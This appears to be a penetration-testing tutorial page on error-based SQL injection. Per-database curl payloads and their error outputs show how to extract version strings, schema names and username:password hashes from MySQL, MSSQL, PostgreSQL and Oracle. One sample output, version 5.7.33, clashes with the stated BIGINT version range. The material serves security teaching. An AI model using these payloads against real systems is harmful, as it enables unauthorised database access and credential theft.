Skip to content

Error-Based SQLi

7 min read Created Sep 13, 2026 Last updated Sep 13, 2026

Error-based SQL injection extracts data by triggering database errors that include query results in the error message. This works when the application displays database error messages in HTTP responses. Unlike UNION-based injection, it does not require output to be reflected in the page body, only that raw error messages are visible. See the SQL injection hub for technique selection guidance. Each request leaks one value from the database through a deliberately malformed expression.

  • Trigger a type conversion or function error that forces the database to evaluate a subquery and include the result in the error output.
  • Read the extracted value directly from the error message in the HTTP response.
  • Iterate through rows using LIMIT/OFFSET or NOT IN filters to extract one value per request.

MySQL Error-Based Extraction

MySQL offers several functions that produce errors containing evaluated expressions. The two most reliable are extractvalue() and updatexml(), both of which trigger XPATH syntax errors that include the result of a subquery. These work on MySQL 5.1+ and are not blocked by most WAFs since they use standard XML functions.

extractvalue() Technique

The extractvalue() function expects valid XPATH as its second argument. Passing a subquery result prefixed with ~ or 0x7e produces an XPATH syntax error that includes the evaluated value. The output is limited to 32 characters per error.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND extractvalue(1,concat(0x7e,version()))-- -"
XPATH syntax error: '~5.7.33-0ubuntu0.18.04.1'
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND extractvalue(1,concat(0x7e,database()))-- -"
XPATH syntax error: '~webapp'
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND extractvalue(1,concat(0x7e,(SELECT group_concat(schema_name) FROM information_schema.schemata)))-- -"
XPATH syntax error: '~information_schema,webapp,mysql'

updatexml() Technique

updatexml() works the same way. It takes three arguments: an XML fragment, an XPATH expression, and a replacement value. Injecting an invalid XPATH in the second argument leaks the evaluated result. Same 32-character output limit applies.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='webapp')),1)-- -"
XPATH syntax error: '~users,products,orders,sessions'
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users')),1)-- -"
XPATH syntax error: '~id,username,password,email,role'
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND extractvalue(1,concat(0x7e,(SELECT concat(username,':',password) FROM webapp.users LIMIT 0,1)))-- -"
XPATH syntax error: '~admin:5f4dcc3b5aa765d61d8327deb882'

The 32-character limit truncates longer values. For MD5 hashes (32 chars), the tilde prefix causes truncation. Use SUBSTRING() to extract in chunks:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(password,20,32) FROM webapp.users LIMIT 0,1)))-- -"
XPATH syntax error: '~d61d8327deb882cf99'

BIGINT Overflow Technique

On MySQL 5.5.5 through 5.5.52, integer overflow errors can leak data. The ~0 value is the maximum unsigned BIGINT. Adding to it causes an overflow, and when the overflowed expression includes a subquery, the error contains the result. This technique was patched in later MySQL versions and does not work on MariaDB.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND (SELECT 1 FROM (SELECT ~0 ^ (SELECT version()))a)-- -"
BIGINT UNSIGNED value is out of range in '(~(0) ^ '5.7.33-0ubuntu0')'

MSSQL Error-Based Extraction

MSSQL produces verbose type conversion errors when CONVERT() or CAST() attempts to convert a string to an incompatible type. Force a string-to-integer conversion on a subquery result and the error message includes the full string value. No character limit on the error output.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CONVERT(int,@@version)--"
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2019 (RTM) - 15.0.2000.5' to data type int.
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CONVERT(int,db_name())--"
Conversion failed when converting the nvarchar value 'webapp' to data type int.
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CONVERT(int,SYSTEM_USER)--"
Conversion failed when converting the nvarchar value 'sa' to data type int.
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CONVERT(int,(SELECT TOP 1 name FROM master.dbo.sysdatabases WHERE name NOT IN ('master','tempdb','model','msdb')))--"
Conversion failed when converting the nvarchar value 'webapp' to data type int.
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables WHERE table_catalog='webapp'))--"
Conversion failed when converting the nvarchar value 'users' to data type int.
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CONVERT(int,(SELECT TOP 1 username+':'+password FROM webapp.dbo.users))--"
Conversion failed when converting the nvarchar value 'admin:5f4dcc3b5aa765d61d8327deb882cf99' to data type int.

Iterate through rows by adding WHERE username NOT IN ('admin') to exclude previously extracted values. CAST() works identically to CONVERT() for this purpose:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CAST((SELECT TOP 1 username+':'+password FROM webapp.dbo.users WHERE username NOT IN ('admin')) AS int)--"
Conversion failed when converting the nvarchar value 'editor:8d3533d75ae2c3966d7e0d4fcc69216b' to data type int.

PostgreSQL Error-Based Extraction

PostgreSQL raises type errors when casting a string to an incompatible type. Use CAST() or the shorthand ::int operator to force a string-to-integer conversion. The error message includes the original string value.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CAST(version() AS int)--"
ERROR:  invalid input syntax for type integer: "PostgreSQL 14.5 on x86_64-pc-linux-gnu"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CAST(current_database() AS int)--"
ERROR:  invalid input syntax for type integer: "webapp"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CAST(current_user AS int)--"
ERROR:  invalid input syntax for type integer: "postgres"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CAST((SELECT string_agg(tablename,',') FROM pg_tables WHERE schemaname='public') AS int)--"
ERROR:  invalid input syntax for type integer: "users,sessions,orders,api_keys"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CAST((SELECT username||':'||password FROM users LIMIT 1) AS int)--"
ERROR:  invalid input syntax for type integer: "admin:5f4dcc3b5aa765d61d8327deb882cf99"

The shorthand ::int cast operator works the same way and is shorter in payloads:

-- Shorthand cast syntax
id=1 AND 1=(version()::int)--
id=1 AND 1=((SELECT username||':'||password FROM users LIMIT 1)::int)--

Oracle Error-Based Extraction

Oracle does not have a direct type-coercion error leak like MSSQL or PostgreSQL. Instead, abuse XML and network functions that include evaluated expressions in their error messages.

UTL_INADDR.GET_HOST_NAME()

This function attempts to resolve a hostname. When the input is not a valid hostname, the error includes the evaluated expression. Requires the UTL_INADDR package to be accessible by the database user (it is by default in older Oracle versions but restricted in 11g+).

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=UTL_INADDR.GET_HOST_NAME((SELECT banner FROM v\$version WHERE ROWNUM=1))--"
ORA-29257: host Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 unknown

CTXSYS.DRITHSX.SN()

The Oracle Text function CTXSYS.DRITHSX.SN() throws an error that includes the first argument value. Requires the Oracle Text component to be installed (common in default installations).

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v\$version WHERE ROWNUM=1))--"
ORA-20000: Oracle Text error: DRG-11701: thesaurus Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 does not exist

XMLType() Errors

The XMLType() constructor raises an error when the input is not valid XML. Prepending < to the subquery result creates invalid XML, and the error includes the evaluated string. This is the most reliable Oracle error-based technique and works without special package permissions.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=(SELECT XMLType('<:'||(SELECT banner FROM v\$version WHERE ROWNUM=1)) FROM dual)--"
ORA-31011: XML parsing failed
LPX-00110: Warning: invalid QName ":Oracle Database 19c Enterprise Edition"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=(SELECT XMLType('<:'||(SELECT LISTAGG(table_name,',') WITHIN GROUP (ORDER BY table_name) FROM all_tables WHERE owner='WEBAPP')) FROM dual)--"
ORA-31011: XML parsing failed
LPX-00110: Warning: invalid QName ":API_KEYS,ORDERS,SESSIONS,USERS"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=(SELECT XMLType('<:'||(SELECT username||':'||password FROM WEBAPP.USERS WHERE ROWNUM=1)) FROM dual)--"
ORA-31011: XML parsing failed
LPX-00110: Warning: invalid QName ":admin:5f4dcc3b5aa765d61d8327deb882cf99"

Oracle table and column names are uppercase by default. If queries return no results, try uppercase object names. LISTAGG() has a 4000-byte limit. For long result sets, use WHERE ROWNUM filtering to iterate row by row.

References